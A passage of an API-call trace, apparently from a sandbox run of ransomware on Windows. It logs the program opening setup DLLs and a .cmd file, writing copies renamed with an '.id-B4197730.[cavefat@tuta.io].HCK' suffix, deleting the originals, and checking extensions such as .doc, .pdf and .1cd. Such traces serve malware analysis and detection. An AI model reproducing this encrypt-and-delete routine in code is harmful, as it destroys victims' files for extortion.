out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.260] WriteFile (in: hFile=0x30c, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xea, lpOverlapped=0x0) returned 1 [0148.260] SetEndOfFile (hFile=0x30c) returned 1 [0148.261] CloseHandle (hObject=0x30c) returned 1 [0148.261] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.261] SetEndOfFile (hFile=0x308) returned 1 [0148.262] CloseHandle (hObject=0x308) returned 1 [0148.262] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0148.262] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0148.262] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0148.262] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0148.263] lstrlenW (lpString=".doc") returned 4 [0148.263] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0148.263] lstrlenW (lpString=".docx") returned 5 [0148.263] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0148.263] lstrlenW (lpString=".pdf") returned 4 [0148.263] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0148.263] lstrlenW (lpString=".xls") returned 4 [0148.263] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0148.263] lstrlenW (lpString=".xlsx") returned 5 [0148.263] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0148.263] lstrlenW (lpString=".ppt") returned 4 [0148.263] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0148.263] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0148.263] lstrlenW (lpString=".zip") returned 4 [0148.263] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0148.263] lstrlenW (lpString=".rar") returned 4 [0148.263] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0148.263] lstrlenW (lpString=".bz2") returned 4 [0148.263] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0148.263] lstrlenW (lpString=".7z") returned 3 [0148.263] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0148.263] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0148.263] lstrlenW (lpString=".dbf") returned 4 [0148.263] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0148.263] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0148.263] lstrlenW (lpString=".1cd") returned 4 [0148.263] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0148.263] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0148.263] lstrlenW (lpString=".jpg") returned 4 [0148.263] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0148.263] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0148.263] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0148.263] lstrlenW (lpString=".doc") returned 4 [0148.263] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0148.263] lstrlenW (lpString=".docx") returned 5 [0148.263] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0148.263] lstrlenW (lpString=".pdf") returned 4 [0148.263] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0148.263] lstrlenW (lpString=".xls") returned 4 [0148.263] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0148.263] lstrlenW (lpString=".xlsx") returned 5 [0148.263] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0148.263] lstrlenW (lpString=".ppt") returned 4 [0148.263] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0148.263] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0148.263] lstrlenW (lpString=".zip") returned 4 [0148.263] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0148.263] lstrlenW (lpString=".rar") returned 4 [0148.263] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0148.263] lstrlenW (lpString=".bz2") returned 4 [0148.264] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0148.264] lstrlenW (lpString=".7z") returned 3 [0148.264] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0148.264] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0148.264] lstrlenW (lpString=".dbf") returned 4 [0148.264] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0148.264] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0148.264] lstrlenW (lpString=".1cd") returned 4 [0148.264] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0148.264] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0148.264] lstrlenW (lpString=".jpg") returned 4 [0148.264] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0148.264] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.264] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.264] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.274] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=14168) returned 1 [0148.274] CloseHandle (hObject=0x308) returned 1 [0148.274] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0148.274] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.275] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.275] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0148.275] GetLastError () returned 0x0 [0148.275] ReadFile (in: hFile=0x308, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x3758, lpOverlapped=0x0) returned 1 [0148.284] WriteFile (in: hFile=0x30c, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3760, lpOverlapped=0x0) returned 1 [0148.286] ReadFile (in: hFile=0x308, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.286] WriteFile (in: hFile=0x30c, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.286] SetEndOfFile (hFile=0x30c) returned 1 [0148.286] CloseHandle (hObject=0x30c) returned 1 [0148.287] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.287] SetEndOfFile (hFile=0x308) returned 1 [0148.288] CloseHandle (hObject=0x308) returned 1 [0148.288] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.288] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1 [0148.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0148.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0148.289] lstrlenW (lpString=".doc") returned 4 [0148.289] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.289] lstrlenW (lpString=".docx") returned 5 [0148.289] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.289] lstrlenW (lpString=".pdf") returned 4 [0148.289] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.289] lstrlenW (lpString=".xls") returned 4 [0148.289] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.289] lstrlenW (lpString=".xlsx") returned 5 [0148.289] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.289] lstrlenW (lpString=".ppt") returned 4 [0148.289] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0148.289] lstrlenW (lpString=".zip") returned 4 [0148.289] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.289] lstrlenW (lpString=".rar") returned 4 [0148.289] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.289] lstrlenW (lpString=".bz2") returned 4 [0148.289] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.289] lstrlenW (lpString=".7z") returned 3 [0148.289] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0148.289] lstrlenW (lpString=".dbf") returned 4 [0148.289] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0148.289] lstrlenW (lpString=".1cd") returned 4 [0148.289] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0148.289] lstrlenW (lpString=".jpg") returned 4 [0148.289] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0148.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0148.289] lstrlenW (lpString=".doc") returned 4 [0148.289] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.289] lstrlenW (lpString=".docx") returned 5 [0148.289] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.290] lstrlenW (lpString=".pdf") returned 4 [0148.290] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.290] lstrlenW (lpString=".xls") returned 4 [0148.290] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.290] lstrlenW (lpString=".xlsx") returned 5 [0148.290] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.290] lstrlenW (lpString=".ppt") returned 4 [0148.290] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0148.290] lstrlenW (lpString=".zip") returned 4 [0148.290] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.290] lstrlenW (lpString=".rar") returned 4 [0148.290] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.290] lstrlenW (lpString=".bz2") returned 4 [0148.290] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.290] lstrlenW (lpString=".7z") returned 3 [0148.290] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0148.290] lstrlenW (lpString=".dbf") returned 4 [0148.290] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0148.290] lstrlenW (lpString=".1cd") returned 4 [0148.290] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0148.290] lstrlenW (lpString=".jpg") returned 4 [0148.290] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.290] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.290] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.290] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.533] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=18776) returned 1 [0148.533] CloseHandle (hObject=0x2f4) returned 1 [0148.534] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0148.534] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.534] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.534] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.534] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.534] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0148.534] GetLastError () returned 0x0 [0148.534] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x4958, lpOverlapped=0x0) returned 1 [0148.537] WriteFile (in: hFile=0x330, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4960, lpOverlapped=0x0) returned 1 [0148.538] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.538] WriteFile (in: hFile=0x330, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.538] SetEndOfFile (hFile=0x330) returned 1 [0148.538] CloseHandle (hObject=0x330) returned 1 [0148.539] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.539] SetEndOfFile (hFile=0x2f4) returned 1 [0148.540] CloseHandle (hObject=0x2f4) returned 1 [0148.540] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.540] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1 [0148.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0148.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0148.540] lstrlenW (lpString=".doc") returned 4 [0148.540] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.540] lstrlenW (lpString=".docx") returned 5 [0148.540] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.540] lstrlenW (lpString=".pdf") returned 4 [0148.540] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.540] lstrlenW (lpString=".xls") returned 4 [0148.540] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.540] lstrlenW (lpString=".xlsx") returned 5 [0148.540] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.540] lstrlenW (lpString=".ppt") returned 4 [0148.540] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0148.540] lstrlenW (lpString=".zip") returned 4 [0148.540] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.541] lstrlenW (lpString=".rar") returned 4 [0148.541] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.541] lstrlenW (lpString=".bz2") returned 4 [0148.541] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.541] lstrlenW (lpString=".7z") returned 3 [0148.541] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0148.541] lstrlenW (lpString=".dbf") returned 4 [0148.541] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0148.541] lstrlenW (lpString=".1cd") returned 4 [0148.541] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0148.541] lstrlenW (lpString=".jpg") returned 4 [0148.541] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0148.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0148.541] lstrlenW (lpString=".doc") returned 4 [0148.541] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.541] lstrlenW (lpString=".docx") returned 5 [0148.541] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.541] lstrlenW (lpString=".pdf") returned 4 [0148.541] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.541] lstrlenW (lpString=".xls") returned 4 [0148.541] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.541] lstrlenW (lpString=".xlsx") returned 5 [0148.541] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.541] lstrlenW (lpString=".ppt") returned 4 [0148.541] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0148.541] lstrlenW (lpString=".zip") returned 4 [0148.541] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.541] lstrlenW (lpString=".rar") returned 4 [0148.541] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.541] lstrlenW (lpString=".bz2") returned 4 [0148.541] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.541] lstrlenW (lpString=".7z") returned 3 [0148.541] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0148.541] lstrlenW (lpString=".dbf") returned 4 [0148.541] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0148.541] lstrlenW (lpString=".1cd") returned 4 [0148.541] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0148.541] lstrlenW (lpString=".jpg") returned 4 [0148.541] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.541] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.542] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.542] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.542] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=15192) returned 1 [0148.542] CloseHandle (hObject=0x2f4) returned 1 [0148.542] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0148.542] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.542] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.542] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.542] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.542] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0148.544] GetLastError () returned 0x0 [0148.544] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x3b58, lpOverlapped=0x0) returned 1 [0148.587] WriteFile (in: hFile=0x330, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3b60, lpOverlapped=0x0) returned 1 [0148.588] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.588] WriteFile (in: hFile=0x330, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.589] SetEndOfFile (hFile=0x330) returned 1 [0148.589] CloseHandle (hObject=0x330) returned 1 [0148.590] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.590] SetEndOfFile (hFile=0x2f4) returned 1 [0148.590] CloseHandle (hObject=0x2f4) returned 1 [0148.590] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.591] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1 [0148.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0148.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0148.591] lstrlenW (lpString=".doc") returned 4 [0148.591] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.591] lstrlenW (lpString=".docx") returned 5 [0148.591] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.591] lstrlenW (lpString=".pdf") returned 4 [0148.591] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.591] lstrlenW (lpString=".xls") returned 4 [0148.591] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.591] lstrlenW (lpString=".xlsx") returned 5 [0148.591] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.591] lstrlenW (lpString=".ppt") returned 4 [0148.591] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0148.591] lstrlenW (lpString=".zip") returned 4 [0148.591] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.591] lstrlenW (lpString=".rar") returned 4 [0148.591] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.591] lstrlenW (lpString=".bz2") returned 4 [0148.591] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.591] lstrlenW (lpString=".7z") returned 3 [0148.591] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0148.591] lstrlenW (lpString=".dbf") returned 4 [0148.591] lstrcmpiW (lpString1=".dbf", 